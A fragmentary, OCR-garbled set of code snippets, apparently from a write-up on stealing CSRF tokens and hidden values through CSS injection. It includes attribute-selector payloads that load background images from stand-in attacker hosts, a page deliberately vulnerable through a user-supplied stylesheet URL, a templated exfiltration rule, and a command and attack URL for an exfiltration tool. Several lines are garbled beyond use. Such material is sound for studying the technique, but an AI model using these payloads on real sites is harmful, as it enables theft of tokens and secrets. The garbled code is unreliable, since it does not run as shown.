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1 input [name=csrf] [value*=ca] {
2 background-image: url ([https://xxx.com/ca] (https://xxx.com/ca)) ;
3}
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1 <html>

2 <link rel="stylesheet" href="${encodeURI (req.query.css)}" />

3 <form>

4 <input name="Email" type="text" value="test'">

5 <input name="flag" type="hidden" value="b02cb962ac59075b964b07152d234b70"/>
6 <input type="submit" value="#Z">

7 </form>

8 </html>
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1 input [name=flag] [value*="b"] ~ * {
2 background-image: url ("http://x.x.x.x/b");
31}
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Hiframe #FEH 1 BHIWEAANG 2 ZHRX i Lk [hitps://medium.com/@dOnut/better-exfiltration-via-html-injection-31c72a2dae8b] (https.//medium.com/@dOnut/better-
exfiltration-via-html-injection-31c72a2dae8b)
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1 input [name=flag] [value™="{% raw $}{{{% endraw $}:token:}}"] ~ * { background-image: url("{% raw $}{{{% endraw %}:callback:}}"); }
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1./sic -p 3000 --ph "[http://127.0.0.1:3000] (http://127.0.0.1:3000)" --ch "[http://127.0.0.1:3001] (http://127.0.0.1:3001)" -t template
attack:

1 [http://127.0.0.1:60000/flag.html?css=http://127.0.0.1:3000/staging?len=32] (http://127.0.0.1:60000/flag.html?css=http://127.0.0.1:3000/staging?len=32)
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